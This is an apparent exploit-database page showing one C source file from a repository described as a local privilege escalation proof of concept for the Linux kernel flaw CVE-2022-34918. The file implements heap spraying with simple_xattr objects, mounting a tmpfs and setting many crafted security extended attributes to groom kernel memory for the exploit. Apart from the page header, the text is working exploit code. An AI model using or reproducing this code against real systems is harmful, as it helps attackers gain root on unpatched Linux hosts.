Exploit databaseDownload repository ZIP
GH-21ac6aed19c081011ddb223085668ef4
merlinepedra/cve-2022-34918-lpe-poc
Sources for CVE-2022-34918
12 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
merlinepedra/cve-2022-34918-lpe-pocRevision 30d90992cab7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/simple_xattr.c
C · 1,435 bytes#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include "log.h"
#include "simple_xattr.h"
/**
* spray_simple_xattr(): Spray the heap with `simple_xattr` objects
* @spray_size: Number of objects to put into `kmalloc-64`
*/
void spray_simple_xattr(char *filename, uint32_t spray_size) {
char command[COMMAND_MAX_LEN];
char attribute_name[ATTRIBUTE_NAME_LEN];
/* Mount a new tmpfs to be able to set security xattr */
if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
do_error_exit("mkdir");
system("mount -t tmpfs none /tmp/tmpfs");
/* Create a file to the set attributes */
int fd = creat(filename, 0644);
close(fd);
for (uint64_t i = 0; i < spray_size; i++) {
/* Need that the name is allocated within `kmalloc-256` */
snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
create_xattr(filename, attribute_name);
}
}
/**
* create_xattr(): Add an xattribute to a file with the value "value"
* @filename: Name of the concerned file
* @attribute_name: Attribute name
*/
void create_xattr(const char *filename, char *attribute_name) {
if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
do_error_exit("setxattr");
}